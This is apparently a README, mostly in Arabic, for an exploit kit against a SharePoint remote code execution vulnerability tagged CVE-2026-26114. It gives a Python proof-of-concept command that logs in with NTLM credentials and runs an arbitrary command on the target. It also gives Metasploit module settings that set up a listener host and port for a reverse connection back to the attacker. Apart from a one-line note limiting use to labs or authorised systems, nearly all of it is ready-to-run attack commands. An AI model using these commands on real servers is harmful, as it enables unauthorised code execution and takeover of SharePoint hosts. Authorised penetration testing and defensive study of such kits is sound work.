CVE-2026-26114

استخدم فقط في بيئة المختبر أو على الأنظمة المصرح باختبارها.

Python PoC

pip install requests requests-ntlm

python poc/cve_2026_26114_rce.py ^
  --target http://sharepoint.local ^
  --username sp_user1 ^
  --password "Password123!" ^
  --domain SP19 ^
  --cmd "cmd /c whoami > C:\Windows\Temp\cve_2026_26114.txt"

يمكنك استخدام --proxy http://127.0.0.1:8080 أو --insecure، أو استبدال --cmd بـ --marker-file C:\Windows\Temp\marker.txt.

وحدة Metasploit

توجد الوحدة في:

modules/exploits/windows/http/sharepoint_cve_2026_26114.rb

مثال على الخيارات:

use exploit/windows/http/sharepoint_cve_2026_26114
set RHOSTS sharepoint.local
set RPORT 80
set SSL false
set TARGETURI /
set USERNAME sp_user1
set PASSWORD Password123!
set DOMAIN SP19
set SRVHOST 192.168.56.1
set SRVPORT 8080
set LHOST 192.168.56.1
set LPORT 4444
check
run

إذا لم تستخدم الاكتشاف التلقائي (auto-discovery)، فاضبط أيضًا TAXONOMY_STORE_ID وTAXONOMY_GROUP_ID وSITE_ID وWEB_ID وJOB_CREATOR_ID.